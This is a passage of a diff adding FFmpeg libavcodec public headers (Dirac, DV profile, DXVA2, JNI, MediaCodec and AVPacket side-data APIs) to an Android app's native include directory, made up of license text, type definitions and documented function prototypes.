+/**
+ * The spec limits the number of wavelet decompositions to 4 for both
+ * level 1 (VC-2) and 128 (long-gop default).
+ * 5 decompositions is the maximum before >16-bit buffers are needed.
+ * Schroedinger allows this for DD 9,7 and 13,7 wavelets only, limiting
+ * the others to 4 decompositions (or 3 for the fidelity filter).
+ *
+ * We use this instead of MAX_DECOMPOSITIONS to save some memory.
+ */
+#define MAX_DWT_LEVELS 5
+
+/**
+ * Parse code values:
+ *
+ * Dirac Specification ->
+ * 9.6.1  Table 9.1
+ *
+ * VC-2 Specification  ->
+ * 10.4.1 Table 10.1
+ */
+
+enum DiracParseCodes {
+    DIRAC_PCODE_SEQ_HEADER      = 0x00,
+    DIRAC_PCODE_END_SEQ         = 0x10,
+    DIRAC_PCODE_AUX             = 0x20,
+    DIRAC_PCODE_PAD             = 0x30,
+    DIRAC_PCODE_PICTURE_CODED   = 0x08,
+    DIRAC_PCODE_PICTURE_RAW     = 0x48,
+    DIRAC_PCODE_PICTURE_LOW_DEL = 0xC8,
+    DIRAC_PCODE_PICTURE_HQ      = 0xE8,
+    DIRAC_PCODE_INTER_NOREF_CO1 = 0x0A,
+    DIRAC_PCODE_INTER_NOREF_CO2 = 0x09,
+    DIRAC_PCODE_INTER_REF_CO1   = 0x0D,
+    DIRAC_PCODE_INTER_REF_CO2   = 0x0E,
+    DIRAC_PCODE_INTRA_REF_CO    = 0x0C,
+    DIRAC_PCODE_INTRA_REF_RAW   = 0x4C,
+    DIRAC_PCODE_INTRA_REF_PICT  = 0xCC,
+    DIRAC_PCODE_MAGIC           = 0x42424344,
+};
+
+typedef struct DiracVersionInfo {
+    int major;
+    int minor;
+} DiracVersionInfo;
+
+typedef struct AVDiracSeqHeader {
+    unsigned width;
+    unsigned height;
+    uint8_t chroma_format;          ///< 0: 444  1: 422  2: 420
+
+    uint8_t interlaced;
+    uint8_t top_field_first;
+
+    uint8_t frame_rate_index;       ///< index into dirac_frame_rate[]
+    uint8_t aspect_ratio_index;     ///< index into dirac_aspect_ratio[]
+
+    uint16_t clean_width;
+    uint16_t clean_height;
+    uint16_t clean_left_offset;
+    uint16_t clean_right_offset;
+
+    uint8_t pixel_range_index;      ///< index into dirac_pixel_range_presets[]
+    uint8_t color_spec_index;       ///< index into dirac_color_spec_presets[]
+
+    int profile;
+    int level;
+
+    AVRational framerate;
+    AVRational sample_aspect_ratio;
+
+    enum AVPixelFormat pix_fmt;
+    enum AVColorRange color_range;
+    enum AVColorPrimaries color_primaries;
+    enum AVColorTransferCharacteristic color_trc;
+    enum AVColorSpace colorspace;
+
+    DiracVersionInfo version;
+    int bit_depth;
+} AVDiracSeqHeader;
+
+/**
+ * Parse a Dirac sequence header.
+ *
+ * @param dsh this function will allocate and fill an AVDiracSeqHeader struct
+ *            and write it into this pointer. The caller must free it with
+ *            av_free().
+ * @param buf the data buffer
+ * @param buf_size the size of the data buffer in bytes
+ * @param log_ctx if non-NULL, this function will log errors here
+ * @return 0 on success, a negative AVERROR code on failure
+ */
+int av_dirac_parse_sequence_header(AVDiracSeqHeader **dsh,
+                                   const uint8_t *buf, size_t buf_size,
+                                   void *log_ctx);
+
+#endif /* AVCODEC_DIRAC_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/dv_profile.h

@@ -0,0 +1,82 @@
+/*
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_DV_PROFILE_H
+#define AVCODEC_DV_PROFILE_H
+
+#include <stdint.h>
+
+#include "libavutil/pixfmt.h"
+#include "libavutil/rational.h"
+
+/* minimum number of bytes to read from a DV stream in order to
+ * determine the profile */
+#define DV_PROFILE_BYTES (6 * 80) /* 6 DIF blocks */
+
+
+/*
+ * AVDVProfile is used to express the differences between various
+ * DV flavors. For now it's primarily used for differentiating
+ * 525/60 and 625/50, but the plans are to use it for various
+ * DV specs as well (e.g. SMPTE314M vs. IEC 61834).
+ */
+typedef struct AVDVProfile {
+    int              dsf;                   /* value of the dsf in the DV header */
+    int              video_stype;           /* stype for VAUX source pack */
+    int              frame_size;            /* total size of one frame in bytes */
+    int              difseg_size;           /* number of DIF segments per DIF channel */
+    int              n_difchan;             /* number of DIF channels per frame */
+    AVRational       time_base;             /* 1/framerate */
+    int              ltc_divisor;           /* FPS from the LTS standpoint */
+    int              height;                /* picture height in pixels */
+    int              width;                 /* picture width in pixels */
+    AVRational       sar[2];                /* sample aspect ratios for 4:3 and 16:9 */
+    enum AVPixelFormat pix_fmt;             /* picture pixel format */
+    int              bpm;                   /* blocks per macroblock */
+    const uint8_t   *block_sizes;           /* AC block sizes, in bits */
+    int              audio_stride;          /* size of audio_shuffle table */
+    int              audio_min_samples[3];  /* min amount of audio samples */
+                                            /* for 48kHz, 44.1kHz and 32kHz */
+    int              audio_samples_dist[5]; /* how many samples are supposed to be */
+                                            /* in each frame in a 5 frames window */
+    const uint8_t  (*audio_shuffle)[9];     /* PCM shuffling table */
+} AVDVProfile;
+
+/**
+ * Get a DV profile for the provided compressed frame.
+ *
+ * @param sys the profile used for the previous frame, may be NULL
+ * @param frame the compressed data buffer
+ * @param buf_size size of the buffer in bytes
+ * @return the DV profile for the supplied data or NULL on failure
+ */
+const AVDVProfile *av_dv_frame_profile(const AVDVProfile *sys,
+                                       const uint8_t *frame, unsigned buf_size);
+
+/**
+ * Get a DV profile for the provided stream parameters.
+ */
+const AVDVProfile *av_dv_codec_profile(int width, int height, enum AVPixelFormat pix_fmt);
+
+/**
+ * Get a DV profile for the provided stream parameters.
+ * The frame rate is used as a best-effort parameter.
+ */
+const AVDVProfile *av_dv_codec_profile2(int width, int height, enum AVPixelFormat pix_fmt, AVRational frame_rate);
+
+#endif /* AVCODEC_DV_PROFILE_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/dxva2.h

@@ -0,0 +1,90 @@
+/*
+ * DXVA2 HW acceleration
+ *
+ * copyright (c) 2009 Laurent Aimar
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_DXVA2_H
+#define AVCODEC_DXVA2_H
+
+/**
+ * @file
+ * @ingroup lavc_codec_hwaccel_dxva2
+ * Public libavcodec DXVA2 header.
+ */
+
+#if !defined(_WIN32_WINNT) || _WIN32_WINNT < 0x0602
+#undef _WIN32_WINNT
+#define _WIN32_WINNT 0x0602
+#endif
+
+#include <stdint.h>
+#include <d3d9.h>
+#include <dxva2api.h>
+
+/**
+ * @defgroup lavc_codec_hwaccel_dxva2 DXVA2
+ * @ingroup lavc_codec_hwaccel
+ *
+ * @{
+ */
+
+/**
+ * This structure is used to provides the necessary configurations and data
+ * to the DXVA2 FFmpeg HWAccel implementation.
+ *
+ * The application must make it available as AVCodecContext.hwaccel_context.
+ */
+struct dxva_context {
+    /**
+     * DXVA2 decoder object
+     */
+    IDirectXVideoDecoder *decoder;
+
+    /**
+     * DXVA2 configuration used to create the decoder
+     */
+    const DXVA2_ConfigPictureDecode *cfg;
+
+    /**
+     * The number of surface in the surface array
+     */
+    unsigned surface_count;
+
+    /**
+     * The array of Direct3D surfaces used to create the decoder
+     */
+    LPDIRECT3DSURFACE9 *surface;
+
+    /**
+     * A bit field configuring the workarounds needed for using the decoder
+     */
+    uint64_t workaround;
+
+    /**
+     * Private to the FFmpeg AVHWAccel implementation
+     */
+    unsigned report_id;
+};
+
+/**
+ * @}
+ */
+
+#endif /* AVCODEC_DXVA2_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/jni.h

@@ -0,0 +1,67 @@
+/*
+ * JNI public API functions
+ *
+ * Copyright (c) 2015-2016 Matthieu Bouron <matthieu.bouron stupeflix.com>
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_JNI_H
+#define AVCODEC_JNI_H
+
+/*
+ * Manually set a Java virtual machine which will be used to retrieve the JNI
+ * environment. Once a Java VM is set it cannot be changed afterwards, meaning
+ * you can call multiple times av_jni_set_java_vm with the same Java VM pointer
+ * however it will error out if you try to set a different Java VM.
+ *
+ * @param vm Java virtual machine
+ * @param log_ctx context used for logging, can be NULL
+ * @return 0 on success, < 0 otherwise
+ */
+int av_jni_set_java_vm(void *vm, void *log_ctx);
+
+/*
+ * Get the Java virtual machine which has been set with av_jni_set_java_vm.
+ *
+ * @param vm Java virtual machine
+ * @return a pointer to the Java virtual machine
+ */
+void *av_jni_get_java_vm(void *log_ctx);
+
+/*
+ * Set the Android application context which will be used to retrieve the Android
+ * content resolver to handle content uris.
+ *
+ * This function is only available on Android.
+ *
+ * @param app_ctx global JNI reference to the Android application context
+ * @return 0 on success, < 0 otherwise
+ */
+int av_jni_set_android_app_ctx(void *app_ctx, void *log_ctx);
+
+/*
+ * Get the Android application context that has been set with
+ * av_jni_set_android_app_ctx.
+ *
+ * This function is only available on Android.
+ *
+ * @return a pointer the the Android application context
+ */
+void *av_jni_get_android_app_ctx(void);
+
+#endif /* AVCODEC_JNI_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/mediacodec.h

@@ -0,0 +1,103 @@
+/*
+ * Android MediaCodec public API
+ *
+ * Copyright (c) 2016 Matthieu Bouron <matthieu.bouron stupeflix.com>
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_MEDIACODEC_H
+#define AVCODEC_MEDIACODEC_H
+
+#include "libavcodec/avcodec.h"
+
+/**
+ * This structure holds a reference to a android/view/Surface object that will
+ * be used as output by the decoder.
+ *
+ */
+typedef struct AVMediaCodecContext {
+
+    /**
+     * android/view/Surface object reference.
+     */
+    void *surface;
+
+} AVMediaCodecContext;
+
+/**
+ * Allocate and initialize a MediaCodec context.
+ *
+ * When decoding with MediaCodec is finished, the caller must free the
+ * MediaCodec context with av_mediacodec_default_free.
+ *
+ * @return a pointer to a newly allocated AVMediaCodecContext on success, NULL otherwise
+ */
+AVMediaCodecContext *av_mediacodec_alloc_context(void);
+
+/**
+ * Convenience function that sets up the MediaCodec context.
+ *
+ * @param avctx codec context
+ * @param ctx MediaCodec context to initialize
+ * @param surface reference to an android/view/Surface
+ * @return 0 on success, < 0 otherwise
+ */
+int av_mediacodec_default_init(AVCodecContext *avctx, AVMediaCodecContext *ctx, void *surface);
+
+/**
+ * This function must be called to free the MediaCodec context initialized with
+ * av_mediacodec_default_init().
+ *
+ * @param avctx codec context
+ */
+void av_mediacodec_default_free(AVCodecContext *avctx);
+
+/**
+ * Opaque structure representing a MediaCodec buffer to render.
+ */
+typedef struct MediaCodecBuffer AVMediaCodecBuffer;
+
+/**
+ * Release a MediaCodec buffer and render it to the surface that is associated
+ * with the decoder. This function should only be called once on a given
+ * buffer, once released the underlying buffer returns to the codec, thus
+ * subsequent calls to this function will have no effect.
+ *
+ * @param buffer the buffer to render
+ * @param render 1 to release and render the buffer to the surface or 0 to
+ * discard the buffer
+ * @return 0 on success, < 0 otherwise
+ */
+int av_mediacodec_release_buffer(AVMediaCodecBuffer *buffer, int render);
+
+/**
+ * Release a MediaCodec buffer and render it at the given time to the surface
+ * that is associated with the decoder. The timestamp must be within one second
+ * of the current `java/lang/System#nanoTime()` (which is implemented using
+ * `CLOCK_MONOTONIC` on Android). See the Android MediaCodec documentation
+ * of [`android/media/MediaCodec#releaseOutputBuffer(int,long)`][0] for more details.
+ *
+ * @param buffer the buffer to render
+ * @param time timestamp in nanoseconds of when to render the buffer
+ * @return 0 on success, < 0 otherwise
+ *
+ * [0]: https://developer.android.com/reference/android/media/MediaCodec#releaseOutputBuffer(int,%20long)
+ */
+int av_mediacodec_render_buffer_at_time(AVMediaCodecBuffer *buffer, int64_t time);
+
+#endif /* AVCODEC_MEDIACODEC_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/packet.h

@@ -0,0 +1,887 @@
+/*
+ * AVPacket public API
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_PACKET_H
+#define AVCODEC_PACKET_H
+
+#include <stddef.h>
+#include <stdint.h>
+
+#include "libavutil/attributes.h"
+#include "libavutil/buffer.h"
+#include "libavutil/dict.h"
+#include "libavutil/rational.h"
+#include "libavutil/version.h"
+
+#include "libavcodec/version_major.h"
+
+/**
+ * @defgroup lavc_packet_side_data AVPacketSideData
+ *
+ * Types and functions for working with AVPacketSideData.
+ * @{
+ */
+enum AVPacketSideDataType {
+    /**
+     * An AV_PKT_DATA_PALETTE side data packet contains exactly AVPALETTE_SIZE
+     * bytes worth of palette. This side data signals that a new palette is
+     * present.
+     */
+    AV_PKT_DATA_PALETTE,
+
+    /**
+     * The AV_PKT_DATA_NEW_EXTRADATA is used to notify the codec or the format
+     * that the extradata buffer was changed and the receiving side should
+     * act upon it appropriately. The new extradata is embedded in the side
+     * data buffer and should be immediately used for processing the current
+     * frame or packet.
+     */
+    AV_PKT_DATA_NEW_EXTRADATA,
+
+    /**
+     * An AV_PKT_DATA_PARAM_CHANGE side data packet is laid out as follows:
+     * @code
+     * u32le param_flags
+     * if (param_flags & AV_SIDE_DATA_PARAM_CHANGE_SAMPLE_RATE)
+     *     s32le sample_rate
+     * if (param_flags & AV_SIDE_DATA_PARAM_CHANGE_DIMENSIONS)
+     *     s32le width
+     *     s32le height
+     * @endcode
+     */
+    AV_PKT_DATA_PARAM_CHANGE,
+
+    /**
+     * An AV_PKT_DATA_H263_MB_INFO side data packet contains a number of
+     * structures with info about macroblocks relevant to splitting the
+     * packet into smaller packets on macroblock edges (e.g. as for RFC 2190).
+     * That is, it does not necessarily contain info about all macroblocks,
+     * as long as the distance between macroblocks in the info is smaller
+     * than the target payload size.
+     * Each MB info structure is 12 bytes, and is laid out as follows:
+     * @code
+     * u32le bit offset from the start of the packet
+     * u8    current quantizer at the start of the macroblock
+     * u8    GOB number
+     * u16le macroblock address within the GOB
+     * u8    horizontal MV predictor
+     * u8    vertical MV predictor
+     * u8    horizontal MV predictor for block number 3
+     * u8    vertical MV predictor for block number 3
+     * @endcode
+     */
+    AV_PKT_DATA_H263_MB_INFO,
+
+    /**
+     * This side data should be associated with an audio stream and contains
+     * ReplayGain information in form of the AVReplayGain struct.
+     */
+    AV_PKT_DATA_REPLAYGAIN,
+
+    /**
+     * This side data contains a 3x3 transformation matrix describing an affine
+     * transformation that needs to be applied to the decoded video frames for
+     * correct presentation.
+     *
+     * See libavutil/display.h for a detailed description of the data.
+     */
+    AV_PKT_DATA_DISPLAYMATRIX,
+
+    /**
+     * This side data should be associated with a video stream and contains
+     * Stereoscopic 3D information in form of the AVStereo3D struct.
+     */
+    AV_PKT_DATA_STEREO3D,
+
+    /**
+     * This side data should be associated with an audio stream and corresponds
+     * to enum AVAudioServiceType.
+     */
+    AV_PKT_DATA_AUDIO_SERVICE_TYPE,
+
+    /**
+     * This side data contains quality related information from the encoder.
+     * @code
+     * u32le quality factor of the compressed frame. Allowed range is between 1 (good) and FF_LAMBDA_MAX (bad).
+     * u8    picture type
+     * u8    error count
+     * u16   reserved
+     * u64le[error count] sum of squared differences between encoder in and output
+     * @endcode
+     */
+    AV_PKT_DATA_QUALITY_STATS,
+
+    /**
+     * This side data contains an integer value representing the stream index
+     * of a "fallback" track.  A fallback track indicates an alternate
+     * track to use when the current track can not be decoded for some reason.
+     * e.g. no decoder available for codec.
+     */
+    AV_PKT_DATA_FALLBACK_TRACK,
+
+    /**
+     * This side data corresponds to the AVCPBProperties struct.
+     */
+    AV_PKT_DATA_CPB_PROPERTIES,
+
+    /**
+     * Recommmends skipping the specified number of samples
+     * @code
+     * u32le number of samples to skip from start of this packet
+     * u32le number of samples to skip from end of this packet
+     * u8    reason for start skip
+     * u8    reason for end   skip (0=padding silence, 1=convergence)
+     * @endcode
+     */
+    AV_PKT_DATA_SKIP_SAMPLES,
+
+    /**
+     * An AV_PKT_DATA_JP_DUALMONO side data packet indicates that
+     * the packet may contain "dual mono" audio specific to Japanese DTV
+     * and if it is true, recommends only the selected channel to be used.
+     * @code
+     * u8    selected channels (0=main/left, 1=sub/right, 2=both)
+     * @endcode
+     */
+    AV_PKT_DATA_JP_DUALMONO,
+
+    /**
+     * A list of zero terminated key/value strings. There is no end marker for
+     * the list, so it is required to rely on the side data size to stop.
+     */
+    AV_PKT_DATA_STRINGS_METADATA,
+
+    /**
+     * Subtitle event position
+     * @code
+     * u32le x1
+     * u32le y1
+     * u32le x2
+     * u32le y2
+     * @endcode
+     */
+    AV_PKT_DATA_SUBTITLE_POSITION,
+
+    /**
+     * Data found in BlockAdditional element of matroska container. There is
+     * no end marker for the data, so it is required to rely on the side data
+     * size to recognize the end. 8 byte id (as found in BlockAddId) followed
+     * by data.
+     */
+    AV_PKT_DATA_MATROSKA_BLOCKADDITIONAL,
+
+    /**
+     * The optional first identifier line of a WebVTT cue.
+     */
+    AV_PKT_DATA_WEBVTT_IDENTIFIER,
+
+    /**
+     * The optional settings (rendering instructions) that immediately
+     * follow the timestamp specifier of a WebVTT cue.
+     */
+    AV_PKT_DATA_WEBVTT_SETTINGS,
+
+    /**
+     * A list of zero terminated key/value strings. There is no end marker for
+     * the list, so it is required to rely on the side data size to stop. This
+     * side data includes updated metadata which appeared in the stream.
+     */
+    AV_PKT_DATA_METADATA_UPDATE,
+
+    /**
+     * MPEGTS stream ID as uint8_t, this is required to pass the stream ID
+     * information from the demuxer to the corresponding muxer.
+     */
+    AV_PKT_DATA_MPEGTS_STREAM_ID,
+
+    /**
+     * Mastering display metadata (based on SMPTE-2086:2014). This metadata
+     * should be associated with a video stream and contains data in the form
+     * of the AVMasteringDisplayMetadata struct.
+     */
+    AV_PKT_DATA_MASTERING_DISPLAY_METADATA,
+
+    /**
+     * This side data should be associated with a video stream and corresponds
+     * to the AVSphericalMapping structure.
+     */
+    AV_PKT_DATA_SPHERICAL,
+
+    /**
+     * Content light level (based on CTA-861.3). This metadata should be
+     * associated with a video stream and contains data in the form of the
+     * AVContentLightMetadata struct.
+     */
+    AV_PKT_DATA_CONTENT_LIGHT_LEVEL,
+
+    /**
+     * ATSC A53 Part 4 Closed Captions. This metadata should be associated with
+     * a video stream. A53 CC bitstream is stored as uint8_t in AVPacketSideData.data.
+     * The number of bytes of CC data is AVPacketSideData.size.
+     */
+    AV_PKT_DATA_A53_CC,
+
+    /**
+     * This side data is encryption initialization data.
+     * The format is not part of ABI, use av_encryption_init_info_* methods to
+     * access.
+     */
+    AV_PKT_DATA_ENCRYPTION_INIT_INFO,
+
+    /**
+     * This side data contains encryption info for how to decrypt the packet.
+     * The format is not part of ABI, use av_encryption_info_* methods to access.
+     */
+    AV_PKT_DATA_ENCRYPTION_INFO,
+
+    /**
+     * Active Format Description data consisting of a single byte as specified
+     * in ETSI TS 101 154 using AVActiveFormatDescription enum.
+     */
+    AV_PKT_DATA_AFD,
+
+    /**
+     * Producer Reference Time data corresponding to the AVProducerReferenceTime struct,
+     * usually exported by some encoders (on demand through the prft flag set in the
+     * AVCodecContext export_side_data field).
+     */
+    AV_PKT_DATA_PRFT,
+
+    /**
+     * ICC profile data consisting of an opaque octet buffer following the
+     * format described by ISO 15076-1.
+     */
+    AV_PKT_DATA_ICC_PROFILE,
+
+    /**
+     * DOVI configuration
+     * ref:
+     * dolby-vision-bitstreams-within-the-iso-base-media-file-format-v2.1.2, section 2.2
+     * dolby-vision-bitstreams-in-mpeg-2-transport-stream-multiplex-v1.2, section 3.3
+     * Tags are stored in struct AVDOVIDecoderConfigurationRecord.
+     */
+    AV_PKT_DATA_DOVI_CONF,
+
+    /**
+     * Timecode which conforms to SMPTE ST 12-1:2014. The data is an array of 4 uint32_t
+     * where the first uint32_t describes how many (1-3) of the other timecodes are used.
+     * The timecode format is described in the documentation of av_timecode_get_smpte_from_framenum()
+     * function in libavutil/timecode.h.
+     */
+    AV_PKT_DATA_S12M_TIMECODE,
+
+    /**
+     * HDR10+ dynamic metadata associated with a video frame. The metadata is in
+     * the form of the AVDynamicHDRPlus struct and contains
+     * information for color volume transform - application 4 of
+     * SMPTE 2094-40:2016 standard.
+     */
+    AV_PKT_DATA_DYNAMIC_HDR10_PLUS,
+
+    /**
+     * IAMF Mix Gain Parameter Data associated with the audio frame. This metadata
+     * is in the form of the AVIAMFParamDefinition struct and contains information
+     * defined in sections 3.6.1 and 3.8.1 of the Immersive Audio Model and
+     * Formats standard.
+     */
+    AV_PKT_DATA_IAMF_MIX_GAIN_PARAM,
+
+    /**
+     * IAMF Demixing Info Parameter Data associated with the audio frame. This
+     * metadata is in the form of the AVIAMFParamDefinition struct and contains
+     * information defined in sections 3.6.1 and 3.8.2 of the Immersive Audio Model
+     * and Formats standard.
+     */
+    AV_PKT_DATA_IAMF_DEMIXING_INFO_PARAM,
+
+    /**
+     * IAMF Recon Gain Info Parameter Data associated with the audio frame. This
+     * metadata is in the form of the AVIAMFParamDefinition struct and contains
+     * information defined in sections 3.6.1 and 3.8.3 of the Immersive Audio Model
+     * and Formats standard.
+     */
+    AV_PKT_DATA_IAMF_RECON_GAIN_INFO_PARAM,
+
+    /**
+     * Ambient viewing environment metadata, as defined by H.274. This metadata
+     * should be associated with a video stream and contains data in the form
+     * of the AVAmbientViewingEnvironment struct.
+    */
+    AV_PKT_DATA_AMBIENT_VIEWING_ENVIRONMENT,
+
+    /**
+     * The number of pixels to discard from the top/bottom/left/right border of the
+     * decoded frame to obtain the sub-rectangle intended for presentation.
+     *
+     * @code
+     * u32le crop_top
+     * u32le crop_bottom
+     * u32le crop_left
+     * u32le crop_right
+     * @endcode
+     */
+    AV_PKT_DATA_FRAME_CROPPING,
+
+    /**
+     * Raw LCEVC payload data, as a uint8_t array, with NAL emulation
+     * bytes intact.
+     */
+    AV_PKT_DATA_LCEVC,
+
+    /**
+     * The number of side data types.
+     * This is not part of the public API/ABI in the sense that it may
+     * change when new side data types are added.
+     * This must stay the last enum value.
+     * If its value becomes huge, some code using it
+     * needs to be updated as it assumes it to be smaller than other limits.
+     */
+    AV_PKT_DATA_NB
+};
+
+#if FF_API_QUALITY_FACTOR
+#define AV_PKT_DATA_QUALITY_FACTOR AV_PKT_DATA_QUALITY_STATS //DEPRECATED
+#endif
+
+/**
+ * This structure stores auxiliary information for decoding, presenting, or
+ * otherwise processing the coded stream. It is typically exported by demuxers
+ * and encoders and can be fed to decoders and muxers either in a per packet
+ * basis, or as global side data (applying to the entire coded stream).
+ *
+ * Global side data is handled as follows:
+ * - During demuxing, it may be exported through
+ *   @ref AVStream.codecpar.side_data "AVStream's codec parameters", which can
+ *   then be passed as input to decoders through the
+ *   @ref AVCodecContext.coded_side_data "decoder context's side data", for
+ *   initialization.
+ * - For muxing, it can be fed through @ref AVStream.codecpar.side_data
+ *   "AVStream's codec parameters", typically  the output of encoders through
+ *   the @ref AVCodecContext.coded_side_data "encoder context's side data", for
+ *   initialization.
+ *
+ * Packet specific side data is handled as follows:
+ * - During demuxing, it may be exported through @ref AVPacket.side_data
+ *   "AVPacket's side data", which can then be passed as input to decoders.
+ * - For muxing, it can be fed through @ref AVPacket.side_data "AVPacket's
+ *   side data", typically the output of encoders.
+ *
+ * Different modules may accept or export different types of side data
+ * depending on media type and codec. Refer to @ref AVPacketSideDataType for a
+ * list of defined types and where they may be found or used.
+ */
+typedef struct AVPacketSideData {
+    uint8_t *data;
+    size_t   size;
+    enum AVPacketSideDataType type;
+} AVPacketSideData;
+
+/**
+ * Allocate a new packet side data.
+ *
+ * @param sd    pointer to an array of side data to which the side data should
+ *              be added. *sd may be NULL, in which case the array will be
+ *              initialized.
+ * @param nb_sd pointer to an integer containing the number of entries in
+ *              the array. The integer value will be increased by 1 on success.
+ * @param type  side data type
+ * @param size  desired side data size
+ * @param flags currently unused. Must be zero
+ *
+ * @return pointer to freshly allocated side data on success, or NULL otherwise.
+ */
+AVPacketSideData *av_packet_side_data_new(AVPacketSideData **psd, int *pnb_sd,
+                                          enum AVPacketSideDataType type,
+                                          size_t size, int flags);
+
+/**
+ * Wrap existing data as packet side data.
+ *
+ * @param sd    pointer to an array of side data to which the side data should
+ *              be added. *sd may be NULL, in which case the array will be
+ *              initialized
+ * @param nb_sd pointer to an integer containing the number of entries in
+ *              the array. The integer value will be increased by 1 on success.
+ * @param type  side data type
+ * @param data  a data array. It must be allocated with the av_malloc() family
+ *              of functions. The ownership of the data is transferred to the
+ *              side data array on success
+ * @param size  size of the data array
+ * @param flags currently unused. Must be zero
+ *
+ * @return pointer to freshly allocated side data on success, or NULL otherwise
+ *         On failure, the side data array is unchanged and the data remains
+ *         owned by the caller.
+ */
+AVPacketSideData *av_packet_side_data_add(AVPacketSideData **sd, int *nb_sd,
+                                          enum AVPacketSideDataType type,
+                                          void *data, size_t size, int flags);
+
+/**
+ * Get side information from a side data array.
+ *
+ * @param sd    the array from which the side data should be fetched
+ * @param nb_sd value containing the number of entries in the array.
+ * @param type  desired side information type
+ *
+ * @return pointer to side data if present or NULL otherwise
+ */
+const AVPacketSideData *av_packet_side_data_get(const AVPacketSideData *sd,
+                                                int nb_sd,
+                                                enum AVPacketSideDataType type);
+
+/**
+ * Remove side data of the given type from a side data array.
+ *
+ * @param sd    the array from which the side data should be removed
+ * @param nb_sd pointer to an integer containing the number of entries in
+ *              the array. Will be reduced by the amount of entries removed
+ *              upon return
+ * @param type  side information type
+ */
+void av_packet_side_data_remove(AVPacketSideData *sd, int *nb_sd,
+                                enum AVPacketSideDataType type);
+
+/**
+ * Convenience function to free all the side data stored in an array, and
+ * the array itself.
+ *
+ * @param sd    pointer to array of side data to free. Will be set to NULL
+ *              upon return.
+ * @param nb_sd pointer to an integer containing the number of entries in
+ *              the array. Will be set to 0 upon return.
+ */
+void av_packet_side_data_free(AVPacketSideData **sd, int *nb_sd);
+
+const char *av_packet_side_data_name(enum AVPacketSideDataType type);
+
+/**
+ * @}
+ */
+
+/**
+ * @defgroup lavc_packet AVPacket
+ *
+ * Types and functions for working with AVPacket.
+ * @{
+ */
+
+/**
+ * This structure stores compressed data. It is typically exported by demuxers
+ * and then passed as input to decoders, or received as output from encoders and
+ * then passed to muxers.
+ *
+ * For video, it should typically contain one compressed frame. For audio it may
+ * contain several compressed frames. Encoders are allowed to output empty
+ * packets, with no compressed data, containing only side data
+ * (e.g. to update some stream parameters at the end of encoding).
+ *
+ * The semantics of data ownership depends on the buf field.
+ * If it is set, the packet data is dynamically allocated and is
+ * valid indefinitely until a call to av_packet_unref() reduces the
+ * reference count to 0.
+ *
+ * If the buf field is not set av_packet_ref() would make a copy instead
+ * of increasing the reference count.
+ *
+ * The side data is always allocated with av_malloc(), copied by
+ * av_packet_ref() and freed by av_packet_unref().
+ *
+ * sizeof(AVPacket) being a part of the public ABI is deprecated. once
+ * av_init_packet() is removed, new packets will only be able to be allocated
+ * with av_packet_alloc(), and new fields may be added to the end of the struct
+ * with a minor bump.
+ *
+ * @see av_packet_alloc
+ * @see av_packet_ref
